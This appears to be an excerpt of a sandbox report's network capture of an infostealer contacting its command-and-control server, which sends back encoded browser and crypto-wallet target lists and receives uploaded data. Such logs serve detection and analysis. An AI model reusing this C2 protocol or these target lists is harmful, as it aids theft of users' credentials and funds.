Oct 24, 2024 11:02:36.341603994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:36.341626883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:36.341645956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:36.341659069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:36.341670036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:36.341789961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:36.343542099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:36.348923922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:37.133781910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:37.133853912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:42.203164101 CEST	49704	80	192.168.2.5	185.215.113.37

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 11:02:41.518078089 CEST	53	59681	162.159.36.2	192.168.2.5
Oct 24, 2024 11:02:42.181047916 CEST	59562	53	192.168.2.5	1.1.1.1
Oct 24, 2024 11:02:42.189970970 CEST	53	59562	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 24, 2024 11:02:42.181047916 CEST	192.168.2.5	1.1.1.1	0xd9de	Standard query (0)	206.23.85.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 24, 2024 11:02:42.189970970 CEST	1.1.1.1	192.168.2.5	0xd9de	Name error (3)	206.23.85.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.37	80	1968	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:02:13.636658907 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 11:02:14.558568954 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 11:02:14.575391054 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBAEHCGHIIIDHIECFHJD Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 46 34 30 33 34 44 42 35 46 45 31 30 33 30 33 36 31 34 34 36 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 2d 2d 0d 0a Data Ascii: ------DBAEHCGHIIIDHIECFHJDContent-Disposition: form-data; name="hwid"88F4034DB5FE1030361446------DBAEHCGHIIIDHIECFHJDContent-Disposition: form-data; name="build"doma------DBAEHCGHIIIDHIECFHJD--
Oct 24, 2024 11:02:14.880556107 CEST	407	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:14 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 54 55 30 4d 7a 45 79 5a 6a 49 7a 59 54 55 32 4f 57 49 34 4e 7a 46 6d 59 7a 49 79 4e 6a 59 34 4e 44 49 7a 4e 57 49 77 5a 6a 55 35 4e 6a 51 78 4d 54 52 6b 59 7a 52 68 4e 44 64 6d 4d 57 5a 6a 59 7a 63 34 4d 57 45 7a 5a 6d 4e 69 4e 54 59 77 5a 44 51 7a 59 6d 55 30 4f 57 51 34 4e 6a 45 77 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZTU0MzEyZjIzYTU2OWI4NzFmYzIyNjY4NDIzNWIwZjU5NjQxMTRkYzRhNDdmMWZjYzc4MWEzZmNiNTYwZDQzYmU0OWQ4NjEwfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 24, 2024 11:02:14.900310040 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGIECGIEBKJJJJKEGHJ Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 34 33 31 32 66 32 33 61 35 36 39 62 38 37 31 66 63 32 32 36 36 38 34 32 33 35 62 30 66 35 39 36 34 31 31 34 64 63 34 61 34 37 66 31 66 63 63 37 38 31 61 33 66 63 62 35 36 30 64 34 33 62 65 34 39 64 38 36 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 2d 2d 0d 0a Data Ascii: ------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="token"e54312f23a569b871fc226684235b0f5964114dc4a47f1fcc781a3fcb560d43be49d8610------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="message"browsers------JDGIECGIEBKJJJJKEGHJ--
Oct 24, 2024 11:02:15.187041044 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:15 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 24, 2024 11:02:15.187410116 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 24, 2024 11:02:15.188868046 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKFHDBKFCAAECBFIDHJ Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 34 33 31 32 66 32 33 61 35 36 39 62 38 37 31 66 63 32 32 36 36 38 34 32 33 35 62 30 66 35 39 36 34 31 31 34 64 63 34 61 34 37 66 31 66 63 63 37 38 31 61 33 66 63 62 35 36 30 64 34 33 62 65 34 39 64 38 36 31 30 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 2d 2d 0d 0a Data Ascii: ------IJKFHDBKFCAAECBFIDHJContent-Disposition: form-data; name="token"e54312f23a569b871fc226684235b0f5964114dc4a47f1fcc781a3fcb560d43be49d8610------IJKFHDBKFCAAECBFIDHJContent-Disposition: form-data; name="message"plugins------IJKFHDBKFCAAECBFIDHJ--
Oct 24, 2024 11:02:15.475539923 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:15 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 24, 2024 11:02:15.475589991 CEST	212	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8
Oct 24, 2024 11:02:15.475600958 CEST	1236	IN	Data Raw: 5a 6d 68 74 5a 6d 56 75 5a 47 64 6b 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 Data Ascii: ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZ
Oct 24, 2024 11:02:15.475614071 CEST	1236	IN	Data Raw: 64 48 78 6b 61 32 52 6c 5a 47 78 77 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d Data Ascii: dHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGp
Oct 24, 2024 11:02:15.475672007 CEST	1236	IN	Data Raw: 62 6d 4e 73 5a 32 74 38 4d 58 77 77 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 Data Ascii: bmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGh
Oct 24, 2024 11:02:15.475701094 CEST	1236	IN	Data Raw: 64 57 78 30 66 47 6c 6e 61 33 42 6a 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 Data Ascii: dWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWp
Oct 24, 2024 11:02:15.475714922 CEST	952	IN	Data Raw: 4d 48 78 49 51 56 5a 42 53 43 42 58 59 57 78 73 5a 58 52 38 59 32 35 75 59 32 31 6b 61 47 70 68 59 33 42 72 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 Data Ascii: MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl
Oct 24, 2024 11:02:15.729262114 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHCGHJDBFIIDGDHIJDB Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 34 33 31 32 66 32 33 61 35 36 39 62 38 37 31 66 63 32 32 36 36 38 34 32 33 35 62 30 66 35 39 36 34 31 31 34 64 63 34 61 34 37 66 31 66 63 63 37 38 31 61 33 66 63 62 35 36 30 64 34 33 62 65 34 39 64 38 36 31 30 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 2d 2d 0d 0a Data Ascii: ------CFHCGHJDBFIIDGDHIJDBContent-Disposition: form-data; name="token"e54312f23a569b871fc226684235b0f5964114dc4a47f1fcc781a3fcb560d43be49d8610------CFHCGHJDBFIIDGDHIJDBContent-Disposition: form-data; name="message"fplugins------CFHCGHJDBFIIDGDHIJDB--
Oct 24, 2024 11:02:16.015886068 CEST	335	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:15 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 24, 2024 11:02:16.051862001 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDBFIIEBGCAKKEBFBAAF Host: 185.215.113.37 Content-Length: 7051 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 11:02:16.051902056 CEST	7051	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 34 33 31 32 Data Ascii: ------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; name="token"e54312f23a569b871fc226684235b0f5964114dc4a47f1fcc781a3fcb560d43be49d8610------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 24, 2024 11:02:16.865614891 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 11:02:17.230957985 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 11:02:17.516613007 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:17 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
